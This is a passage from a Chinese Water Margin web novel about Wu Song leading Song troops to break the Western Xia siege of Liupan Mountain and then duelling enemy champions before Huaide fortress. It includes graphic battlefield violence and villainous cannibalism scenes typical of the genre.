种师中看向偏西的日头,脸色凝重:
“我家三代未将,岂有临阵脱逃的道理。”
“留得青山在、不愁没柴烧,经略相公不可与我们死在这里。”
“莫要再说,我种师中不是那童贯。”
种师中不肯走,**无奈,只得固守待援。
好在山上还有积雪,不至于断水,只是天寒地冻,军士疲敝。
东北方。
武松带领七千马步军抵达六盘山附近。
武松下令全军停下歇息,所有人喝水吃干粮,补充好体力。
又把戴宗叫过来:
“院长脚程快,你先去打探消息,看看战况如何?”
“领命。”
戴宗当即拿出甲马绑在腿上,烧了一道黄符,脚下顿时生风,片刻窜出数百米。
都监陈罡看得呆了,惊问道:
“此人会道术?”
时迁嘿嘿笑道:
“这有甚么惊奇的,院长日行八百里、夜行六百里,山水无阻。”
武松拿出水囊,喝了几大口水,又拿出携带的面饼吃饱。
很快,戴宗便回来了。
“西夏有兵马五万左右,正在**六盘山,主将是仁多洗忠。”
“小种经略相公被围在山上,西夏刚刚进攻完毕,占据了山下。”
都监陈罡和其他镇戎军的将领心中惊叹,戴宗这速度比马还要快,才出去没多久,就已经把情况打探清楚了。
“仁多洗忠的中军大帐在何处?”
“就在山下。”
戴宗捡了一根树枝,就在地上画图。
“此是六盘山,仁多洗忠中军大帐便在此处。”
武松抬头看了一眼西沉的落日。
“兵法云:朝气锐,昼气惰,暮气归。”
“白日西夏进攻六盘山,此时士气怠惰,正是进攻好时机。”
武松开始点将:
“卢师兄你为先锋,带领一千骑兵直扑中军大帐!”
“得令!”
卢俊义的武艺高强,擅长马战,由他冲锋最合适。
“杨将军你带领一千骑兵冲击西夏东侧!”
“得令!”
“三娘,你带领一千骑兵往北绕道,截住仁多洗忠归路,你要拿他人头见我!”
扈三娘大喜道:
“放心,必要拿他人头立功!”
武松又看向鲁智深、徐宁,说道:
“两位与我一起进攻中军大帐!”
“得令!”
武松又看向陈罡和其他将领,说道:
“你们无须疑虑,老子不是童贯,也不是赵文,交战之时,我自冲锋在前,你等随我往前!”
陈罡见武松如此说,拱手拜道:
“大人向前,我等岂能落后!”
计议完毕,武松上马,卢俊义带领1千骑兵在前,武松压着步军随后,鲁智深、徐宁跟随。
杨志领着本部1千骑兵,往东面赶去。
扈三娘点了一千骑兵往西边走。
武松把李二宝叫过来,吩咐道:
“你随三娘去,保护好她!”
“是!”
李二宝策马追上扈三娘,一起往西进发。
“走!”
武松上马,押着大军奔向六盘山敌营。
六盘山下。
西夏士兵把六盘山团团围住,将领正吩咐准备引火的柴草,准备放火烧山。
主将仁多洗忠坐在军帐里,桌上摆着一副新鲜的肝脏。
“将军,这是刚挖的人肝。”
仁多洗忠切了一片,塞进嘴里嚼着,笑道:
“宋人的心肝清甜,我便好这一口。”
吃了几片,仁多洗忠又倒了一杯酒喝下,喜滋滋道:
“不知那种师中的心肝滋味怎样。”
副将马化龙走进来,说道
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“将军,晋王来信,他们明日也从西安州赶来,一同**种师中。”
仁多洗忠指了指桌上的人肝,说道:
“你最爱吃宋人心肝,这留给你。”
马化龙大喜,抓起便吃。
仁多洗忠道:“杀鸡焉用牛刀,明日放火烧山,便能烧死他们。”
“待晋王来时,我已拿下六盘山。”
马化龙大口嚼**肝,吃得满嘴满脸都是血。
吃完人肝,马化龙灌了两口酒,笑道:
“我也是这等回复信使的,已经打发他回去了。”
“今夜先庆祝,把抓来的宋人女子煮了,让将士饱餐。”
“我的不用煮,用刀挖了心肝便吃,如此才有甘甜味道。”
正说着,却听见外面有厮杀声。
仁多洗忠皱眉,问道:
“莫非宋军援兵到了?”
“不可能,镇戎军与种师中不对付,熙州没有兵马。”
喊杀声更加激烈,仁多洗忠坐不住了,匆匆起身出了中军大帐,却见北面有骑兵冲击营寨。
“果真是镇戎军!”
副将马化龙大怒,骂道:
“将军稍坐,区区镇戎军,我去破了他们。”
西夏有五万兵马,镇戎军不到一万,且无大将,马化龙瞧不起镇戎军。
带了随身亲兵,马化龙策马往北。
迎面西夏士兵溃退,马化龙大怒,骂道:
“区区宋人,你等怕甚么!”
拔出佩刀,马化龙连斩十几人,溃退的士兵才停下来,跟着马化龙重新往北抵御。
刚到前方,却见一个将领手持**,身后跟着一个持**的年轻人,身后领着骑兵冲杀。
那将领枪法了得,西夏士兵遇着,一枪一个,都被戳死。
马化龙吃了一惊:
“镇戎军何时有这等战将?”
这将领不是别人,正是卢俊义和燕青。
作为先锋,卢俊义带着骑兵突然发起进攻,一口气冲破北面营寨,直杀向中军大帐。
卢俊义枪法娴熟,遇到的西夏将领杀不到三回合,便被挑**下。
燕青跟随左右,手中**机极准,还未交手,便被射死马下。
镇戎军的骑兵,原本有畏惧心理。
见卢俊义、燕青如此勇猛,士气大震,跟着往前冲杀。
第179章 大破敌营,真英雄也!
卢俊义策马往前冲杀,正好遇见马化龙赶来。
“你是何人!”
马化龙喝问,卢俊义大叫道:
“河北玉麒麟卢俊义!”
**刺去,马化龙慌忙提刀来杀,身后亲兵围着厮杀。
燕青拨动**机,连射两人,亲兵已到近前,燕青抽出腰刀混战。
马化龙领着亲兵接住卢俊义厮杀,身后的败兵终于聚拢,重新厮杀,镇戎军骑兵被拦住了。
卢俊义从北面杀入的时候,杨志带领的骑兵也从东边开始冲杀。
因为北面遭到袭击,东边的西夏士兵正要赶往增援,杨志轻易突破防御,直接冲杀到营寨内放火,搅得敌营一片混乱。
武松带领的步兵随后赶到,却见卢俊义被十几个战将纠缠,燕青也被围住,镇戎军骑兵都指挥使已经阵亡,杀得十分焦灼。
突袭讲究一鼓作气,最怕被拦住。
武松回头大喊:
“杀!”
提着两口刀,武松冲锋在前,鲁智深拖着禅杖、徐宁提着金枪,跟随武松勇猛往前。
马化龙正**卢俊义,手下将领已经被刺死五个,心中暗道这厮好生勇猛。
寻了个破绽,马化龙一刀斩断卢俊义坐骑马腿,卢俊义倒头**,马化龙大喜,提刀就要杀卢俊义,却见北面冲来一魁梧大将。
“武松在此!”
一声大喝,雁翎刀迎面劈来,马化龙大吃一惊,慌忙提刀格挡。
当!
武松力气比卢俊义大得多,一刀下去,马化龙手中刀刃被击飞,肩膀的铠甲被裂开,鲁智深随后赶到,一禅杖把马龙华脑袋切下,血从脖颈喷溅而出。
徐宁赶到,金**死几个敌将,燕青扶起卢俊义,把战马给了卢俊义,自己徒步跟随。
陈罡带着镇戎军几个都指挥使匆匆赶上,却见武松挥舞两口大刀,片刻之间杀了几十人。
陈罡惊呆了...
身后都指挥使惊愕道:
“陈都监,这**是状元?他不是读书人么?”
“我听闻武松是当世大儒,莫非不是他?”
“莫非是武状元?不是文状元?”
在他们印象里,读书人斯斯文文、最爱装逼,打仗的时候都要端着架子,生怕和当兵的武夫一样。
就像知军赵文,在镇戎军营寨内,动不动和几个**吟诗作对、吹拉弹唱。
每次军官拜见赵文,都要站在三米开外,免得被说身上臭。
斩了马化龙,武松大笑道:
“可惜未曾吃酒,少了几分气力!”
鲁智深大笑道:
“洒家也少了几分酒力!”
武松提刀指着前方,大叫道:
“仁多洗忠就在前头,先到先得!”
鲁智深大笑道:
“师弟莫与洒家争抢!”
武松和鲁智深带头疯狂往前冲,看得身后的徐宁都呆住了。
“这武松不该考科举,应当考武举才是。”
陈罡一众将领看傻了。
他们畏惧的西夏兵马,在武松眼里都成了什么?
“还不跟上!”
卢俊义回头大骂,陈罡如梦初醒,大喊道:
“杀!”
四千步兵跟着武松,如狼似虎往前冲锋。
六盘山上。
夜幕降临,种师中站在山顶,看着西夏士兵堆积柴草,准备烧山。
副将**从底下爬上来,说道:
“将略相公,今夜突围吧,若等西夏烧山,我等必死。”
种师中叹息道:
“军事疲敝,如何突围...”
正叹息间,却见北面两队骑兵突然杀入敌营,身后还有数千步兵。
副将**惊喜道:
“镇戎军居然到了,赵文那厮还是识大体的!”
**以为是赵文率军赶来增援了,心中感慨。
种师中望着骑兵从北面、东面进攻,步兵随后,摇头骂道:
“书生误国!这厮不懂兵法!”
“敌众我寡,当集合兵力进攻一处,如此才能破敌!”
“这厮不知兵法,居然分散兵马,此乃必败之术!”
北面骑兵杀入敌阵,势如破竹,随后便遇到激烈抵抗。
副将**叹息道:
“赵文这厮不知兵!”
又看向东边的骑兵,惊喜道:
“东边的骑兵破阵了。”
“不顶用,待围歼了北面骑兵,东边骑兵也是一个死。”
正说着,又见步兵随后赶到,和西夏兵马混战。
只接触了片刻,步兵便破开西夏大军,势头迅猛。
特别是为首一行人,简直势如猛虎、无人可挡。
“噫?镇戎军何时有如此猛将?”
种师中惊奇,镇戎军几斤几两,他最清楚,山下那冲锋陷阵的将领,绝对不是镇戎军的。
“莫非...朝廷援兵到了?”
副将**猜测,种师中有些茫然,说道:
“应是如此...噫?好哇,好大的胆子,这厮要冲击中军大帐,他想斩杀仁多洗忠!”
冲锋的将领杀破西夏重重阻碍,已经靠近中军大帐。
很明显,这是冲着斩首去的。
“好胆魄!”
种师中大喜,喝道:
“擂鼓,杀下去!”
山上的宋军也看到了,战鼓敲响的时候,纷纷拿起兵器往下冲锋。
乱军中,武松提着两口雁翎
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刀,逢人便杀。
鲁智深在身后紧紧跟随,杀得欢腾。
徐宁**乱戳,卢俊义、燕青主仆两人一前一后,带着骑兵往前冲杀。
陈罡一众将领受了武松激励,也疯了一样往前冲杀。
4千步兵打出了4万的架势,山上宋军已经冲下来,里外夹击之下,西夏兵终于崩溃。
仁多洗忠站在中军大帐外,看着溃散的兵马,问道:
“为何如此?”
“将军,快走,宋军援兵到了。”
“混账,宋军能有几个援兵,给我杀!”
“将军,马副将阵亡了。”
“白严虎呢?”
“也被斩首了!”
仁多洗忠终于慌了。
马化龙、白严虎是他手下两大悍将,居然都**了。
宋国的大军到了...
“走!”
仁多洗忠慌忙爬上马背,匆匆带着亲卫往西北方向逃窜。
武松杀到中军大帐,却没有看见仁多洗忠。
陈罡抓了俘虏,问了才知道仁多洗忠已经跑了。
“大人好算计,仁多洗忠果然跑了。”
看着中军大帐,陈罡喜不自胜。
武松啐了一口,骂道:
“他是老子的功劳,怎能跑了!”
“谁与我去追?”
卢俊义、鲁智深同时翻身上马,跟着武松往西北方向追杀。
陈罡正想跟着去,却见种师中带着兵马赶到。
“拜见经略相公。”
陈罡是都监,种师中是经略使,按理说,种师中是他的上级。
“是你带兵冲杀来的?”
见到陈罡,种师中大为惊奇,以为陈罡突然化身战神。
“末将何德何能,是朝廷的宣抚副使武松大人到了。”
“武松?人何在?”
种师中惊奇四顾,陈罡说道:
“仁多洗忠逃了,武大人追杀去了。”
“啊?穷寇莫追,他去了多少人?”
“四个。”
“胡闹!区区四人就敢追杀敌军主将!”
“经略相公息怒,武大人早有安排,已有一千骑兵往西截杀,断他归路。”
种师中愣住了...问道:
“开战之前,他便派人断他归路?”
“是。”
“你们来了多少人?”
“三千马军、四千步军。”
“嘶...好胆魄!”
不得不说,种师中佩服武松是个英雄。
总共七千人,就敢说截杀仁多洗忠,这是算好了能破敌。
“敌军兵败,且与我追杀!”
种师中不多问了,先把西夏的士兵追杀。
两军会合,往西北面追杀西夏敌兵。
第180章 故人再见,经略相公
扈三娘带着一千骑兵往西拦截。
身后镇戎军都指挥使邓冠带着骑兵跟随,心中暗道:
新来的宣抚副使胆大包天,敢杀知军,却又狂妄自大。
区区七千兵马,就敢说破西夏五万精锐。
还让我等阻拦截杀,着实可笑。
又看向前方的扈三娘,心中暗笑:
区区一个妇人,居然让她为将官,莫非我大宋无男子可用?
扈三娘截住官道,下令就地休整等候。
李二宝骑在马上,抬头看向南边。
时间一点点过去,日头西沉,眼看就要天黑。
身后骑兵开始躁动,都指挥使邓冠上前笑呵呵说道:
“女将军...”
“叫我扈将军!”
扈三娘语气冷厉,邓冠赶忙重新说道:
“扈将军,我看是不是前去增援武大人为好?”
“不用,二郎让我们在此截杀,那就在此截杀!”
“西夏有五万兵马...”
“那又如何?”
邓冠无语了,暗道这妇人果然没见识。
李二宝耳朵动了动,突然起身站在马背上,大喊道:
“西夏败兵来了!”
邓冠吃了一惊,身后的骑兵也震惊地看向南边,果然看到乱糟糟的西夏士兵败退。
扈三娘大喜道:
“我须为二郎拿了西夏主将的人头,好与二郎表功!”
“跟我杀!”
扈三娘提着二月双刀,迎着西夏败兵冲杀过去。
李二宝大喊道:
“三娘,等我!”
两人冲在前头,又见西夏果然兵败,邓冠喜道:
“今日要立功了!”
转身招呼一声,邓冠带领骑兵冲杀。
扈三娘提着刀迎面乱杀,李二宝跟在身后,先用弓箭射杀几个西夏士兵,随后拔出**乱戳。
仁多洗忠趴在马背上逃跑,刚刚以为安全了,却见迎面有大宋骑兵杀来,吓得屁滚尿流。
“此间怎会有伏兵?”
“将军快走!”
手下亲卫护着仁多洗忠趁乱逃跑,根本不和骑兵交战。
扈三娘在乱军中冲杀寻找,却不见仁多洗忠的影子。
败兵越来越多,扈三娘杀了几十个,却找不到主将,心中暗暗焦急。
这是武松的第一战,她想替武松拿人头立功。
“二宝,见到西夏主将了么?”
“未曾见到。”
天色黑下来,武松、鲁智深从南边赶来,卢俊义带领的骑兵也到了。
两边会合,武松问道:
“可曾见过仁多洗忠?”
“天色昏暗,人又多,不曾见到。”
陈罡从后面赶过来,种师中也到了。
大军追杀了十几里,已经疲惫,武松下令停止追杀,免得中西夏的埋伏。
士兵点亮火把,种师中带着将校见到武松,拱手行礼:
“可是宣抚副使当面?”
“经略相公有礼。”
武松抬手回礼,种师中仔细打量武松,赞叹道:
“仪表堂堂,谁知状元郎竟如此勇猛!”
“经略相公镇守边关,早闻大名,如雷贯耳,今日有幸一见。”
“我等回营再说。”
种师中带路,六盘山的兵马和镇戎军一起回了怀德军营寨。
这里本来已经被西夏占领,守营的西夏士兵听说仁多洗忠战败,匆匆丢弃了营寨逃跑啊。
进了怀德军议事厅,武松坐在正首,种师中在左侧坐下,卢俊义一众大将陆续坐下。
武松是河西宣抚副使,比种师中的经略安抚使级别更高。
“早听说圣上封武大人为宣抚副使,郓王为宣抚使,不知郓王在何处?”
武松说道:
“我等昨日抵达邠州府,见到种将军派出的信使,得知种将军被围困六盘山。”
“而镇戎军的知军赵文那厮不肯出兵,于是我便带人先到镇戎军,斩了赵文,先一步发兵救援。”
“郓王与其他人留在邠州府,想来此时应该到了渭州府。”
听说武松斩了赵文,种师中和其他将领大吃一惊。
副将**试探问道:
“那赵文是太师的门生...”
“我知晓,蔡京老狗是个大奸臣,我与他早已反目,不用怕他!”
武松说话干脆利落,**愕然。
种师中心里想了想,也明白了其中关窍。
武松能受封河西宣抚副使,定然有自己的本事。
他们这些边关将校不敢得罪蔡京,武松不一样。
“今日多谢武大人救命之恩了。”
种师中拱手谢过,武松说道:
“战场之上同仇敌忾,说甚么谢字。”
“我师兄鲁达,曾在将军麾下效力。”
“说起来,我与将军也是有情分的。”
种师中看向光头鲁智深,惊奇道:
“你何时在我麾下出过力?”
鲁智深有些不好意思,起身拜道:
“洒家叫鲁达,如今鲁智深,曾在相公府上做提辖,后来在渭州城打杀郑屠,流落江湖,剃发出家了。”
种师中有些尴尬地说道:
“是我识人不明,如此大才,只在府里做了个
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提辖。”
其他将领也觉得惭愧。
鲁智深这么厉害,当日只在府里做了个提辖而已。
他们这些人做了将军,最后却要鲁智深解围。
“相公言重了。”
鲁智深倒是不计较,只觉得见到了昔日的上司,心中甚喜。
种师中又看向其他人,问道:
“这几位将军不知如何称呼?”
武松一一介绍:
“这位是马军都钤辖卢俊义,河北大名府人士,枪法超群。”
“这位是马军都钤辖杨志,杨令公后人,曾在殿帅府做制使,被高俅陷害,流落江湖。”
“这位是步军副都总管徐宁,龙府宫金枪班教头。”
武松挨个介绍完毕,种师中一一行礼谢过。
“今日多谢诸位解围,救了我等性命。”
鲁智深笑呵呵道:
“经略相公何必客气,洒家来这里,就是为了打西夏的。”
“只是可惜了,二郎本想杀了仁多洗忠,却被那厮跑了。”
武松看向种师中,问道:
“种将军,如今战况如何?”
种师中脸色凝重,把如今的情况说了:
西夏晋王察哥集结了两大军司的兵力,总共十万。
仁多洗忠是先锋,领了五万兵马,察哥在西安州,手里还有五万。
种师中手里只剩下一万多兵马,负伤很多,能用的估计只有八千多。
加上镇戎军的七千兵马,总共兵力一万五。
西夏经过这次战败,杀了他们差不多一万,俘虏还在统计。
大略估算,西夏还有七万兵马左右。
说到最后,副将**说道:
“经略相公已经派人前往熙州求援,过几日熙州应该会有援兵过来。”
“能有多少兵马增援?”
种师中无奈道:
“去年童贯大败,折损了许多兵马,熙州的精锐也不多了。”
“今日武大人突袭,杀了西夏一万多,挫了他们的锐气。”
“但目前而言,我建议先守着,等休养一些时日,再说收复西安州的事情。”
种师中也想乘胜追击,收复西安州,但是麾下的伤亡太重了,无力追杀。
武松点头道:
“也好,先守一下,等熙州兵马再说了。”
今日得胜是因为搞了个突袭,杀得仁多洗忠措手不及。
如果正面交战,人数差距太大,肯定不利。
西夏只需要混战,搞人海战术,武松这边就耗不起。
当下,武松就在怀德军营寨住下,种师中听从武松调遣。
第182章 郓王抵达,兵临城下
武松离开邠州府后,赵楷在邠州府驿馆住了一夜,喝了汤药。
到了第二天,赵楷带了邠州府的三千厢军,匆匆赶往渭州府。
到了渭州府,赵楷又下令征兵。
此时,六盘山大捷,武松打破任多洗忠的消息到了渭州府。
听说武松已经破敌,赵楷欣喜万分,写了一封捷报,先派人送回京师报喜。
在渭州府征调了三千兵马后,赵楷连夜出发,赶到了怀德军。
赵楷坐在主位,武松坐在左侧第一个位置,张吉、何正复、何运贞坐下,卢俊义和鲁智深一众武将依次落座。
种师中和陈罡、曹光远等武将在对面坐定。
赵楷看向武松,喜道:
“不愧是状元公,首战告捷,杀敌一万、俘虏一万,我已经写了捷报回京。”
“谢王爷。”
武松非常郑重地行礼。
赵楷又看向卢俊义等人,说道:
“诸位将军也有功劳,本王会一一奏报朝廷。”
“谢王爷。”
众将起身谢过。
这时,武松突然说道:
“王爷,昨日我抵达镇戎军时,知军赵文畏敌不出、坐观成败,被我斩了。”
这个事情,赵楷还不知道。
张吉、何正复等人也吃了一惊。
欧阳雄两只眼睛火**盯着武松,心中满是崇拜:
不愧是我家哥哥,好胆魄,居然杀了赵文!
这等手段,这天下怕是找不出第二个!
我要和哥哥结拜!
议事厅陷入沉寂,所有人都不说话。
熙州兵马都监曹光远震惊地看向旁边的陈罡,陈罡脸色无奈,只是动了动眼皮子。
“咳咳...”
赵楷干咳两声,说道:
“临阵不出,该死!”
“你是宣抚副使、步军都总管,有权杀他。”
赵楷这样说,就是替武松担下了杀赵文的责任。
说到底,赵楷是主将,武松是副将。
只是这话在曹光远一众将领听来,感觉脖子有点凉。
堂堂知军,还有蔡京当靠山,武松说杀了就杀了。
看来,以后要老老实实听武松的话。
“昨日破了任多洗忠,状元公有何打算?”
赵楷一口一个状元公,听得武松有些不自在。
“经略相公是老将,王爷问问他。”
赵楷看向种师中,种师中回道:
“老臣和武大人商议过,先守着。”
“按照武大人所说,察哥必定携大军来攻,我等先守住怀德军,再做收复西安州的打算。”
赵楷微微颔首,也觉得应该先守一波。
外面突然响起战鼓声,士兵匆匆进来禀报:
“经略相公,发现西夏大军!”
种师中立即起身,问道:
“多少?”
“六七万兵马,察哥亲自来了。”
种师中看向武松,武松起身,笑道:
“果然来了,且看我出城迎敌!”
见武松不惧,赵楷心中大定。
“走!且到城墙上看着!”
赵楷带路,张吉、种师中文武官员跟着出了议事厅,登上城楼。
武松则亲自披挂上马,带着卢俊义、鲁智深、徐宁、杨志、扈三娘、燕青、李二宝、施恩、曹正出城对敌。
兵马都监陈罡、曹光远也带着兵马出城,跟在武松后面。
孙二娘、张青和凌振、戴宗、时迁在城上看着。
他们这五人的强项不在战场厮杀,所以武松没让他们跟着出城。
众人一字摆开,武松居中。
察哥带着任多洗忠、布雅一众将领到了阵前,七万兵马列阵备战。
任多洗忠抬头看向怀德军,说道:
“晋王,熙州的援兵到了。”
察哥扫了一眼营寨,说道:
“最多三万兵马,有何惧哉!”
目光看向城下,却见武松披挂铠甲,腰间挂着两口刀,居于中间。
想起在汴京被打,察哥怒从心头起,策马到了阵前,指着武松骂道:
“狗贼好胆,居然敢来!”
武松笑道:
“晋王别来无恙?身体可好?肚子痛么?”
提起旧事,察哥愈发愤怒,骂道:
“贼杀才,必报当日之仇!”
“莫要再骂,你若不是乌龟,且出来与我大战三百回合,怕你的不是好汉!”
武松策马往前。
城上,张吉看着武松出阵,说道:
“二郎身为宣抚副使,不该亲自出阵对敌。”
“万一有个闪失,于我军不利。”
何正复点头赞同,觉得武松太冒险了。
种师中却说道:
“张总管不知武松厉害,昨日他便是亲自打头阵,杀破西夏重围,攻入中军
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大帐。”
“老夫从未见过如此勇猛的战将,且有智谋。”
何运贞笑道:
“经略相公不知他是状元么?”
“老夫自然知晓,可他是文状元,又非武状元,这等勇猛的文状元,却是平生仅见。”
赵楷没说话,他正专注地看向城外的战场。
武松刚刚打了一场胜仗,可惜他没有参与,不知道武松到底有多勇猛。
还有武松保举的这些将领,到底成色如何,只有亲眼看过才知道。
武松在阵前挑战,察哥却不敢应战。
在汴京垂拱殿被暴揍,昨日又折损了马化龙、白严虎两员大将,武松的战力太惊人了。
“我是晋王,若要单挑时,让赵楷下来与我厮杀!”
察哥抬手指向城头观战的赵楷。
众人看向赵楷,赵楷很尴尬...
鲁智深早已按捺不住,挠了挠秃头,策马往前骂道:
“你惧怕二郎,不敢出战,那便罢了!”
“你军中须有战将,且出来与洒家大战三百回合!”
察哥没见过鲁智深,心想这秃和尚不可能和武松一样厉害,于是回头喝问道:
“谁敢与他厮杀?”
正好,察哥军中也有个僧人,唤作鸠摩罗。
听了察哥的话,策马从阵中出来,手中一杆锡杖。
他这锡杖并非普通样式,两头锋利如枪,不是普度众生的法杖,却是**见血的利器。
到了阵前,鸠摩罗唱了一声佛号,骂道:
“佛爷乃兴庆府承天寺的僧人,唤作鸠摩罗!”
“兀那撮鸟,你是哪里的和尚!”
鲁智深横眉瞪眼,骂道:
“洒家唤作鲁智深,没有山门!”
鲁智深在五台山出家,后来被赶出寺庙,到了大相国寺,再后来又待不下去,流落江湖、落草为寇。
这段历史对于他来说不甚光彩,所以鲁智深说自己没有山门。
鸠摩罗听了,大笑道:
“原来是个野和尚,你若下马受降,佛爷度你到承天寺。”
鲁智深怒从心头起,睁起双眼骂道:
“直娘秃驴,洒家天作屋顶地当床,自有逍遥快活,何必你来度我!”
鸠摩罗骂道:
“好个不知死活的野秃驴,待佛爷杀了你!”
言罢,鸠摩罗提着锡杖,策马来杀鲁智深。
第183章 鲁智深杀敌,扈三娘争功
鸠摩罗提着锡杖来杀,鲁智深早按捺不住,提着禅杖迎面杀去。
城墙上,种师中手扶着墙垛,仔细看鲁智深厮杀。
副将**也很好奇,这个曾经在经略府只做提辖官的和尚,到底身手如何。
郓王赵楷颇为紧张,这是他头一回见阵前斗将。
只见城下,两马交合,鲁智深挥舞禅杖,狠狠扫向鸠摩罗。
只听哐当一声响,震得鸠摩罗手软骨酥,心中大骇:
这野秃驴好大气力!
鸠摩罗打起十分精神,锡杖接住迎面一击,反手却拔出腰间戒刀,刺向鲁智深后腰。
燕青见了,喊道:
“大师小心!”
鲁智深吃了一惊,赶忙侧身,恰恰躲过戒刀,僧衣却被割破。
原来这鲁智深不耐烦披甲,只穿了一件僧袍,外面套着袄子。
戒刀偷袭未果,鸠摩罗暗道可惜。
收了戒刀,提着锡杖,鸠摩罗折返战马,重新杀来。
鲁智深险些被暗算,心中焦躁,手中禅杖用了八分气力,朝着鸠摩罗面门扫去。
鸠摩罗知晓鲁智深力气大,赶忙后仰避开,禅杖却刺向鲁智深肋骨。
鲁智深刚刚吃了亏,已经猜到鸠摩罗必有暗算。
锡杖刺来时,鲁智深索性弃了手中禅杖,徒手拽住锡杖,马背上用力一拽,鸠摩罗坐不稳,被拽下马来。
鲁智深夺了锡杖,俯身反手戳了鸠摩罗一个血窟窿。
副将**见状,惊奇道:
“这鲁达好武艺!”
种师中惊叹道:
“如此大将,我却未曾用他!”
这鸠摩罗是西寿保泰军司的一个猛将,贪婪狡诈,十分难对付。
怀德军与其对阵,多次吃过亏。
没想到今日被鲁智深拿下。
何运贞惊喜道:
“好个花和尚,赢了第一阵!”
时迁嘿嘿笑道:
“那厮不知大师厉害,合该被戳死!”
鸠摩罗被鲁智深戳了一枪,疼得哇哇大叫,正想走脱,鲁智深哪肯放他逃脱,反手又戳了几下,只见血从窟窿里冒出来,鸠摩罗登时死在阵前。
真个是:
从来菩提非清净,乱世佛法作刀兵。
只因和尚杀心重,一朝死在修罗境。
鲁智深提着锡杖,哈哈大笑:
“洒家这才痛快!”
“兀那甚么鸟晋王,你这秃驴不顶事,且换个来与洒家厮杀!”
察哥见第一阵折了鸠摩罗,脸色凝重,回头问道:
“谁敢与那贼和尚厮杀?”
副将布雅走过来,低声道:
“王爷,武松这厮凶狠,麾下都是猛将。”
“正面交手不好取胜,不如放冷箭?”
察哥点头道:
“对付这厮,正该如此。”
“且派人出去迎战,你于阵后放箭杀他。”
布雅点了一个将领,提着**出阵,自己却于阵后暗暗准备放箭。
见又有将领出阵,鲁智深骂道:
“你这撮鸟,又是甚么人?”
“我乃大夏指挥使奔都,来取你这秃头!”
“区区一个指挥使,也敢和洒家动手,也罢,洒家今日也度你去西天!”
说罢,奔都提着**就要厮杀,鲁智深也做好了出阵的准备,扈三娘却冲过来,喊道:
“师兄且慢。”
鲁智深停下来,问道:
“三娘妹子,你待如何?”
“我还未立功,想借他人头一用。”
鲁智深摸了摸脑门,说道:
“使得,洒家便将这厮让与你。”
鲁智深指着奔都骂道:
“你这鸟头,且送与我家妹子立功,洒家不要你的。”
这句话激怒了奔都,他本来只想诱敌,让布雅从阵后放冷箭,却被鲁智深藐视,叫嚣要把人头送给一个妇人,气得睚眦欲裂,骂道:
“你这**,也配与我厮杀!”
“且将你拿了,切了你的心肝下酒!”
扈三娘大怒,提着日月双刀杀出阵去。
种师中在上面看着,说道:
“昨日这女将军半道截杀,不知她武艺如何。”
时迁说道:
“经略相公宽心,三娘是二郎的妹子,她的刀法学二郎,定能赢他!”
种师中微微颔首,众将在城上看着。
却见扈三娘提着双刀出阵,奔都**刺来,扈三娘一刀架住**,另一刀却砍在马背上,奔都坐下战马吃了一惊,将奔都颠下马背,摔在地上。
扈三娘大喜,返身提刀来取奔都首级。
布雅却在阵中已经搭箭,瞅着扈三娘后心就是一箭射去。
燕青在阵中发现,大喊道:
“小心冷箭!”
武松猛然一惊,扈三娘听到,直接俯身挂在马背上,堪堪躲过冷箭。
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“贼厮放冷箭,岂有此理!”
鲁智深大怒,拖着禅杖杀入阵中。
布雅见射不中扈三娘,说道:
“且与他们混战,我们人多!”
察哥下令出击,西夏大军冲杀过来。
奔都从地上爬起来,扈三娘眼见大军袭来,无暇追杀奔都。
武松提着双刀杀出,卢俊义、徐宁、杨志一众战将同时杀出,陈罡、曹光远领兵厮杀。
种师中下令城墙放箭增援,两边混战。
扈三娘没有斩杀敌将,心中焦躁,提着刀在乱军中厮杀。
武松心中有火,破开西夏乱军,奔着察哥的王旗杀去。
李二宝紧随武松后面,手中长刀连杀十几人。
任多洗忠远远望见武松,大喊道:
“王爷快走,武松杀来了!”
察哥见武松势如猛虎,前方将校抵挡不住,大骂了几句,大喊撤兵。
西夏的优势在于骑兵,地面有陷马坑和鹿角、拒马,骑兵施展不开。
加上城头放箭,斗将输了,士气受损,交战不利。
察哥鸣金收兵后退,武松追杀数里,勒马停下,下令将士回营。
鸠摩罗的尸体挂在营寨示众,武松得胜回城。
赵楷笑道:
“状元公好生勇猛!”
武松没有杀尽兴,听到赵楷调侃,抬手一掌扇在赵楷后脑,骂道:
“少给老子扯淡,天下谁不知我是状元,何须你挂在嘴边。”
“二郎莫急,与你玩笑则个。”
种师中见武松和赵楷如此要好,心中才知道为何武松敢杀赵文。
看来,武松得到了皇族的支持。
陈罡和曹光远一众将领也心里有数了。
打退了察哥,兵马入城庆贺。
张吉问要不要回援镇戎军,那边军寨只有一千人防守。
武松说没必要。
如果察哥敢进攻镇戎军,正好让他分兵,再各个击破。
种师中也认为察哥此时不敢分兵,应当据守西安州不出。
当下,武松就在怀德军驻扎。
郓王赵楷的身体还没有好,骑了一天马,又开始尿血。
武松让赵楷、何正复、欧阳兄一干人先回渭州府治疗,同时调遣河西各路兵马赶赴怀德军。
他们本就是负责后勤的,只留下何运贞处置文书,张吉因为点了马军都总管的差事,所以也留下。
第184章 提前落子,孙二娘出发
入夜时分。
武松带着一众兄弟在议事厅坐定,种师中和诸位将校也坐下来。
武松开口问道:
“我听闻西夏精锐有擒生军和铁鹞子,为何白日不见他们?”
西夏的军队,也分为中央军、地方军和擒生军。
中央军类似于宋朝的禁军,地方军相当于宋朝的厢军。
擒生军则是西夏独有的军队,这些人专门负责掳掠人口、抢夺物资。
仁多洗忠**六盘山的时候,就抓了很多人口,妇女**、男子当军粮,便是擒生军所为。
西夏由党项人建立,这些人属于游牧,未开化的野蛮子,行事残忍凶狠。
种师道说道:
“大人说得不错,西夏总共有12个监军司,与我们对峙的有6个。”
“西寿保泰军司、静塞军司是他们最精锐的,底下有三支精锐。”
“分别是擒生军,他们负责掳掠;铁鹞子,他们是西夏的重骑马军;步跋子,他们是西夏的步军。”
“白日与我们混战的是步跋子,铁鹞子在后头未曾出动,擒生军到别处掳掠了。”
何运贞问道:
“我听闻铁鹞子是西夏最难对付的马军,白日为何不动?”
“何参议,铁鹞子须跑起来,今日寨子前有陷马坑,跑不起来,所以他们不出动。”
何运贞明白了,随即担忧道:
“若是如此,待擒生军、铁鹞子出动,我军岂非不是敌手?”
种师中无奈叹息道:
“我当日便是被铁鹞子击败,才失了怀德军营寨。”
武松看向徐宁,问道:
“徐将军,你家钩镰枪法专门克制马军,可有办法对付铁鹞子?”
“我只听闻西夏铁鹞子,未曾亲眼见过,须见过后,才敢答应。”
“不急,察哥输了一阵,必定再来,到那时,你再仔细看。”
